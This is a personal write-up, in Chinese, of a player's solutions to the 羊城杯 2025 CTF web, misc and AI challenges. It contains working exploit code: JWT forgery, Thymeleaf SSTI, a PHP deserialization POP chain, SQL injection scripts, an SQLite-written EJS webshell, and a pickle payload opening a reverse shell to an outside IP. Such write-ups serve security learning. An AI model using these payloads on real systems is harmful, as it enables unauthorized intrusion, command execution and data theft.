羊城杯2025 5orryM4k3r 个人wp

羊城杯 2025 5orryM4k3r 个人 wp

尽力了,但是还是差一点
只记录了我自己做的一些东西

Web

authweb|SV|

靶机开不起来,先看看这个

有 spring 和 jsonwebtoken 依赖

好像只是一个 jsonwebtoken 的身份伪造,不知道附件里的 secret 和靶机一不一样

得开靶机抓一下 Authorization 头看看

登录路由不管输什么都会进/login,但是/login 是没有逻辑的,会 404

但是/upload 又需要身份验证

伪造 jwt

package com.xnftrone.test;

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;

public class test2 {
    public static void main(String[] args) {
        String secret = "25d55ad283aa400af464c76d713c07add57f21e6a273781dbf8b7657940f3b03";

        String jwts = Jwts._builder_()
                .setSubject("user1")
                .signWith(SignatureAlgorithm._HS256_, secret.getBytes())
                .compact();

        System._out_.println(jwts);
    }
}

//**Authorization**: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyMSJ9.I4J9V3IeZW77OtbuheHrqaUbzCph_-FrFzpC2f8rR_c

模板路径在这

spring.application.name=demo1
spring.thymeleaf.prefix=file:templates/
spring.thymeleaf.suffix=.html
spring.thymeleaf.mode=HTML5

可以文件上传

**POST** /upload **HTTP/1.1**
**Host**: 45.40.247.139:17098
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
**Content-Type**: **multipart/form-data; boundary=----WebKitFormBoundaryyeFbrxRcWeFrDpJH**
**Referer**: http://45.40.247.139:17098/login/dynamic-template?value=login
Cache-Control: max-age=0
Upgrade-In**secure-Requests**: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
**Authorization**: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyMSJ9.I4J9V3IeZW77OtbuheHrqaUbzCph_-FrFzpC2f8rR_c
**Origin**: http://45.40.247.139:17098
**User-Agent**: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
**Content-Length**: 141

------WebKitFormBoundaryyeFbrxRcWeFrDpJH
Content-Disposition: form-data; name="imgName"

../templates/test3.html
------WebKitFormBoundaryyeFbrxRcWeFrDpJH
Content-Disposition: form-data; name="imgFile"; filename="test.html"
Content-Type: text/plain

test
------WebKitFormBoundaryyeFbrxRcWeFrDpJH--

试了一下带标签上传就读不到,可能后台有 waf

这样可以 Thymeleaf ssti

**POST** /upload **HTTP/1.1**
**Host**: 45.40.247.139:17098
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
**Content-Type**: **multipart/form-data; boundary=----WebKitFormBoundaryyeFbrxRcWeFrDpJH**
**Referer**: http://45.40.247.139:17098/login/dynamic-template?value=login
Cache-Control: max-age=0
Upgrade-In**secure-Requests**: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
**Authorization**: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyMSJ9.I4J9V3IeZW77OtbuheHrqaUbzCph_-FrFzpC2f8rR_c
**Origin**: http://45.40.247.139:17098
**User-Agent**: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
**Content-Length**: 141

------WebKitFormBoundaryyeFbrxRcWeFrDpJH
Content-Disposition: form-data; name="imgName"

../templates/33.html
------WebKitFormBoundaryyeFbrxRcWeFrDpJH
Content-Disposition: form-data; name="imgFile"; filename="test.html"
Content-Type: text/plain

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>test</title>
</head>
<body>
    <h1>Hello, HTML!</h1>
    <p>for test</p>
    <h1 th:text="${7*7}">Static</h1>
</body>
</html>
------WebKitFormBoundaryyeFbrxRcWeFrDpJH--

但是传 spel 注入就会 500

应该是有 waf

尝试过后发现可以注入 ${@environment}

获取系统变量

<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
    <title>Evil</title>
</head>
<body>
    <h1 th:text="${@environment.getSystemEnvironment()}">RCE</h1>
</body>
</html>

ez_unserialize|SV|

<?php

error_reporting(0);
highlight_file(__FILE__);

class A {
    public $first;
    public $step;
    public $next;

    public function __construct() {
        $this->first = "继续加油!";
    }

    public function start() {
        echo $this->next;
    }
}

class E {
    private $you;
    public $found;
    private $secret = "admin123";

    public function __get($name){
        if($name === "secret") {
            echo "<br>".$name." maybe is here!</br>";
            $this->found->check();
        }
    }
}

class F {
    public $fifth;
    public $step;
    public $finalstep;

    public function check() {
        if(preg_match("/U/",$this->finalstep)) {
            echo "仔细想想!";
        }
        else {
            $this->step = new $this->finalstep();
            ($this->step)();
        }
    }
}

class H {
    public $who;
    public $are;
    public $you;

    public function __construct() {
        $this->you = "nobody";
    }

    public function __destruct() {
        $this->who->start();
    }
}

class N {
    public $congratulation;
    public $yougotit;

    public function __call(string $func_name, array $args) {
        return call_user_func($func_name,$args[0]);
    }
}

class U {
    public $almost;
    public $there;
    public $cmd;

    public function __construct() {
        $this->there = new N();
        $this->cmd = $_POST['cmd'];
    }

    public function __invoke() {
        return $this->there->system($this->cmd);
    }
}

class V {
    public $good;
    public $keep;
    public $dowhat;
    public $go;

    public function __toString() {
        $abc = $this->dowhat;
        $this->go->$abc;
        return "<br>Win!!!</br>";
    }
}

unserialize($_POST['payload']);

?>

pop 链

U.__invoke() <- F.check() <- E.__get() <- V.__toString() <- A.start() <- H.__destruct()

重点在绕过这个函数

public function check() {
        if(preg_match("/U/",$this->finalstep)) {
            echo "仔细想想!";
        }
        else {
            $this->step = new $this->finalstep();
            ($this->step)();
        }
    }

需要一个字符串绕过匹配还能动态构建类

可以利用类名的大小写不敏感

$payload = "";

$h = new H();
$a = new A();
$h->who = $a;

$v = new V();
$a->next = $v;

$e = new E();
$v->go = $e;
$v->dowhat = "secret";

$f = new F();
$e->found = $f;

$payload = serialize($h);
$payload = str_replace('finalstep";s:1:"U"','finalstep";s:1:"u"',$payload);
echo $payload."<br>";
echo urlencode($payload);
var_dump(unserialize($payload));
payload=O%3A1%3A%22H%22%3A3%3A%7Bs%3A3%3A%22who%22%3BO%3A1%3A%22A%22%3A3%3A%7Bs%3A5%3A%22first%22%3Bs%3A15%3A%22%E7%BB%A7%E7%BB%AD%E5%8A%A0%E6%B2%B9%EF%BC%81%22%3Bs%3A4%3A%22step%22%3BN%3Bs%3A4%3A%22next%22%3BO%3A1%3A%22V%22%3A4%3A%7Bs%3A4%3A%22good%22%3BN%3Bs%3A4%3A%22keep%22%3BN%3Bs%3A6%3A%22dowhat%22%3Bs%3A6%3A%22secret%22%3Bs%3A2%3A%22go%22%3BO%3A1%3A%22E%22%3A3%3A%7Bs%3A6%3A%22%00E%00you%22%3BN%3Bs%3A5%3A%22found%22%3BO%3A1%3A%22F%22%3A3%3A%7Bs%3A5%3A%22fifth%22%3BN%3Bs%3A4%3A%22step%22%3BN%3Bs%3A9%3A%22finalstep%22%3Bs%3A1%3A%22u%22%3B%7Ds%3A9%3A%22%00E%00secret%22%3Bs%3A8%3A%22admin123%22%3B%7D%7D%7Ds%3A3%3A%22are%22%3BN%3Bs%3A3%3A%22you%22%3Bs%3A6%3A%22nobody%22%3B%7D&cmd=cat /flag

ezsignin|SV|

fuzz 出万能密码登录

**username**=**admin**&**password**=") or ("a"="a

有文件上传和文件下载

上传文件用不了,应该是没有模板

只有一个文件下载可以利用,但是 ban 了/ 2f

感觉路径穿越不了,拿不到源码

回去打打看 sql,理论上可以布尔盲注

import requests
import time
import string

url = "http://45.40.247.139:30344/login"

cookies = {
    "connect.sid": "s%3AB_9G2MpDYLXCtK-a_7zlfRC75W_D8CB9.qhK35r1H08xj6ULoi6omxt4pe4Oy%2BR2NZYUWHmHqBEk",
    }

FLAG_LENGTH = 44
flag = ""

charset = string.ascii_letters + string.digits + "_{}-!@#$%^&*()."

test = """") or (substr(sqlite_version(),1,1)='3') and ("a"="a"""
datatest = {
        "username": "admin",
        "password": test,
    }
response = requests.post(url, cookies=cookies, data=datatest, timeout=5)
print(response.status_code)
ok_code = response.status_code

def try_char(position, char):
    #payload = f"""") or (substr(sqlite_version(),{position},1)='{char}') and ("a"="a"""
    #payload = f"""") or (select length(name) from sqlite_master where type='table' and name not like 'sqlite_%' limit 1)={char} and ("a"="a"""
    payload = f"""") or (substr((select name from sqlite_master where type='table' and name not like 'sqlite_%' limit 1),{position},1)='{char}') and ("a"="a"""
    data = {
        "username": "admin",
        "password": payload,
    }

    response = requests.post(url, cookies=cookies, data=data, timeout=5)
    if response.status_code == ok_code:
        return True
    else:
        return False


print("[*]Bruteforcing:")

for pos in range(1, FLAG_LENGTH + 1):
    found = False

    for char in charset:
        result = try_char(pos, char)

        if result:
            flag += char
            print(f"[+]Position {pos:2d}: '{char}' | Result: {flag}")
            found = True
            break
    if not found:
        print(f"[-]Position{pos:2d} not found")

print(f"FinalResult: {flag}")

可以注出一个表名是 users

到这里想起来这个是 js 后端,应该是 app.js,之前拿的是 app.py

试了一下../app.js 能拿源码

const express = require('express');
const session = require('express-session');
const sqlite3 = require('sqlite3').verbose();
const path = require('path');
const fs = require('fs');

const app = express();
const db = new sqlite3.Database('./db.sqlite');

/*
FLAG in /fla4444444aaaaaagg.txt
*/

app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.use(session({
  secret: 'welcometoycb2025',
  resave: false,
  saveUninitialized: true,
  cookie: { secure: false }
}));

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');

const checkPermission = (req, res, next) => {
  if (req.path === '/login' || req.path === '/register') return next();
  if (!req.session.user) return res.redirect('/login');
  if (!req.session.user.isAdmin) return res.status(403).send('无权限访问');
  next();
};

app.use(checkPermission);

app.get('/', (req, res) => {
  fs.readdir(path.join(__dirname, 'documents'), (err, files) => {
    if (err) {
      console.error('读取目录时发生错误:', err);
      return res.status(500).send('目录读取失败');
    }
    req.session.files = files;
    res.render('files', { files, user: req.session.user });
  });
});

app.get('/login', (req, res) => {
  res.render('login');
});

app.get('/register', (req, res) => {
  res.render('register');
});

app.get('/upload', (req, res) => {
    if (!req.session.user) return res.redirect('/login');
    res.render('upload', { user: req.session.user });
    //todoing
});

app.get('/logout', (req, res) => {
  req.session.destroy(err => {
    if (err) {
      console.error('退出时发生错误:', err);
      return res.status(500).send('退出失败');
    }
    res.redirect('/login');
  });
});

app.post('/login', async (req, res) => {
    const username = req.body.username;
    const password = req.body.password;
    const sql = `SELECT * FROM users WHERE (username = "${username}") AND password = ("${password}")`;
    db.get(sql,async (err, user) => {
        if (!user) {
            return res.status(401).send('账号密码出错!!');
        }
        req.session.user = { id: user.id, username: user.username, isAdmin: user.is_admin };
        res.redirect('/');
    });
});

app.post('/register', (req, res) => {
  const { username, password, confirmPassword } = req.body;
  
  if (password !== confirmPassword) {
    return res.status(400).send('两次输入的密码不一致');
  }
  
  db.exec(`INSERT INTO users (username, password) VALUES ('${username}', '${password}')`, function(err) {
    if (err) {
      console.error('注册失败:', err);
      return res.status(500).send('注册失败,用户名可能已存在');
    }
    res.redirect('/login');
  });
});

app.get('/download', (req, res) => {
  if (!req.session.user) return res.redirect('/login');
  const filename = req.query.filename;
  if (filename.startsWith('/')||filename.startsWith('./')) {
    return res.status(400).send('WAF');
  }
  if (filename.includes('../../')||filename.includes('.././')||filename.includes('f')||filename.includes('//')) {
    return res.status(400).send('WAF');
  }
  if (!filename || path.isAbsolute(filename) ) {
    return res.status(400).send('无效文件名');
  }
  const filePath = path.join(__dirname, 'documents', filename);
  if (fs.existsSync(filePath)) {
    res.download(filePath);
  } else {
    res.status(404).send('文件不存在');
  }
});

const PORT = 80;
app.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});

可以看到 flag 路径,既然如此 flag 就不在数据库里了

考虑 sqlite 写 shell,刚好 upload 没有模板,可以写 upload.ejs

ATTACH DATABASE '/app/views/upload.ejs' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<%= global.process.mainModule.require("child_process").execSync("cat /fla4444444aaaaaagg.txt").toString() %>');

打不进去。。?

登录路由的 db.get()只能打查询语句,需要在/register 打 db.exec()

import requests

url = "http://45.40.247.139:18569/register"

cookies = {
    "connect.sid": "s%3AB_9G2MpDYLXCtK-a_7zlfRC75W_D8CB9.qhK35r1H08xj6ULoi6omxt4pe4Oy%2BR2NZYUWHmHqBEk",
    }
payload = """'); ATTACH DATABASE '/app/views/upload.ejs' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<%= global.process.mainModule.require("child_process").execSync("cat /fla4444444aaaaaagg.txt").toString() %>'); --"""
data = {
    "username": "admin",
    "password": payload,
    "confirmPassword": payload
}

response = requests.post(url, cookies=cookies, data=data, timeout=5)
print(response.text)

ez_blog|SV| working:

**username**=**guest**&**password**=**guest**

fuzz 出有访客账密

有 cookie

token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e

是 pickle 数据,可以伪造一下

isadmin 的值要从 89 改成 88(false->true)

然后可以添加文章,可以 xss,不能 ssti

考虑能不能利用 pickle 反序列化

import pickle
import subprocess

class claExp(object):
    def __reduce__(self):
        return (subprocess.call, (["python3","-c",'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.79.192.53",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'],))
        
payload = pickle.dumps(claExp(), protocol=4)
print(payload.hex())

staticNodeService |SV|

一个文件服务,可以用 put 方法上传文件

同时可以指定渲染的模板,那可以利用?

有 node_modules 文件夹泄露,可以看依赖

先试试传文件的接口

**PUT** /xnftrone2.txt **HTTP/1.1**
**Host**: 45.40.247.139:17748
Accept-Encoding: gzip, deflate
If-None-Match: W/"271-zLWIfN4ShSmy9v3BlKeuQFxIyto"
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Upgrade-In**secure-Requests**: 1
**User-Agent**: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
**Content-Type**: **application/json**
**Content-Length**: 164

{
  **"content"**: **"****{{base64enc(****Just for test****)}}****"**
}

对上传的文件文件名和路径有过滤

app.use((req, res, next) => {
    if (typeof req.path !== 'string' || 
            (typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined')
        ) res.status(500).send('Error parsing path');
    else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
    else next();
})

不能..和 js 结尾,那需要绕过才能上传 ejs

往 views/里传 html 文件可以覆盖 index

但是好像利用不了

绕过后缀名限制

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>test</title>
</head>
<body>
<h1>test</h1>
<pre>
<%= 
  global.process.mainModule.require('child_process').execSync('/readflag').toString()
%>
</pre>
</body>
</html>

evil_login|STUCK|

抓包发现没登录也有 session

原来是这样。。

网页有隐藏的字

admin or guest

尝试爆弱口令

爆不出来,先不看这个,0 解必有原因(

给了提示

guest/guest1234

登录后可以看到个人信息,有 jwt

**auth_token**=**eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.fFbl76_YdTK08u_ZLOT1yt6zfgUkABPP_kwNBOPB88w**

不是弱密钥

没发现什么有问题的地方,尝试一下 admin

因为 guest 的密码是 guest1234,所以猜测 admin 的密码也是一样的格式

试出来是 admin6666

然而登进去也没有东西。。

404 页面会回显用户名,怀疑有个 ssti

但要控制用户名的话,就必须控制 jwt jwt 密钥恢复不出来,难搞

复现:

用 hashcat 爆破 jwt 密钥,我没爆出来的原因是字典不行(

密钥为 admin123,然后伪造 jwt 去打 ssti 反弹 shell 即可

后面的内容是提权,因为没有环境所以就不复现了

Misc

polar|SV|

有 waf: - import

def construction(N, K, eps):
    n = int(np.log2(N))
    Zvalues = np.ones(N) * eps
    
    for stage in range(n):
        stepSize = 2**(stage+1)for blockStart in range(0, N, stepSize):
            halfStep = stepSize // 2for position in range(halfStep):
                leftIndex = blockStart + position
                rightIndex = blockStart + position + halfStep
                zLeft = Zvalues[leftIndex]
                zRight = Zvalues[rightIndex]
                Zvalues[leftIndex] = zLeft + zRight - zLeft * zRight
                Zvalues[rightIndex] = zLeft * zRight
    
    sortedIndices = np.argsort(Zvalues)
    infoIndices = sortedIndices[:K]
    frozenIndices = sortedIndices[K:]return infoIndices, frozenIndices, Zvalues

def encode(u, N):
    n = int(np.log2(N))
    x = u.copy()for stage in range(n):
        stepSize = 2**(stage+1)for blockStart in range(0, N, stepSize):
            halfStep = stepSize // 2for position in range(halfStep):
                leftIndex = blockStart + position
                rightIndex = blockStart + position + halfStep
                a = x[leftIndex]
                b = x[rightIndex]
                x[leftIndex] = (a + b) % 2
                x[rightIndex] = b
    
    return x

def decode(y, frozenIndices):
    N = len(y)
    n = int(np.log2(N))
    uHat = np.zeros(N, dtype=int)
    
    LLR = np.zeros((n+1, N))
    yArray = np.array(y)
    LLR[0, :] = np.where(yArray == 0, 1, -1)
    LLR[0, yArray == None] = 0for stage in range(n):
        s = 2**(n-stage-1)for blockStart in range(0, N, 2*s):for position in range(s):
                leftIndex = blockStart + position
                rightIndex = blockStart + position + s
                LLR[stage+1, leftIndex] = np.sign(LLR[stage, leftIndex]) * np.sign(LLR[stage, rightIndex]) * min(abs(LLR[stage, leftIndex]), abs(LLR[stage, rightIndex]))
                LLR[stage+1, rightIndex] = LLR[stage, rightIndex] + (1 if uHat[leftIndex] == 0 else -1) * LLR[stage, leftIndex]for i in range(N):if i in frozenIndices:
            uHat[i] = 0else:
            uHat[i] = 0 if LLR[n, i] >= 0 else 1return uHat

AI

满天繁星 |SV|

构建 1NN,ai 写脚本

import numpy as np
import gzip

def load_text_matrix_gz(path):
    with gzip.open(path, 'rt', encoding='utf-8') as f:
        lines = [line.strip() for line in f if line.strip()]
    data = []
    for line in lines:
        data.append([float(x) for x in line.split()])
    return np.array(data, dtype=np.float32)

# 加载
known_samples = load_text_matrix_gz('known_samples.npy.gz')  # (256, 3)
unknown_samples = load_text_matrix_gz('data.npy.gz')        # (N, 3)

print("原始形状:", known_samples.shape, unknown_samples.shape)

# === 关键:标准化每个维度 ===
mean = known_samples.mean(axis=0, keepdims=True)   # (1, 3)
std = known_samples.std(axis=0, keepdims=True)     # (1, 3)
# 避免除零
std = np.where(std == 0, 1, std)

known_scaled = (known_samples - mean) / std
unknown_scaled = (unknown_samples - mean) / std

# 1-NN 分类(向量化)
print("计算标准化后的距离...")
diff = unknown_scaled[:, None, :] - known_scaled[None, :, :]  # (N, 256, 3)
distances = np.linalg.norm(diff, axis=2)  # (N, 256)
predicted_labels = np.argmin(distances, axis=1).astype(np.uint8)

# 验证
print("前20标签:", predicted_labels[:20])
print("文件头 (hex):", predicted_labels[:10].tobytes().hex())

# 保存
with open('flag_fixed.jpg', 'wb') as f:
    f.write(predicted_labels.tobytes())

print(f"✅ 已保存 flag_fixed.jpg ({len(predicted_labels)} 字节)")

# 尝试用 PIL 打开
try:
    from PIL import Image
    img = Image.open('flag_fixed.jpg')
    print(f"🎉 成功打开! 尺寸: {img.size}, 格式: {img.format}")
    img.show()
except Exception as e:
    print("PIL 仍失败:", e)
    # 但文件头正确的话,用浏览器打开试试

posted @ 2025-10-24 22:02  xNftrOne  阅读(24)  评论(0)    收藏  举报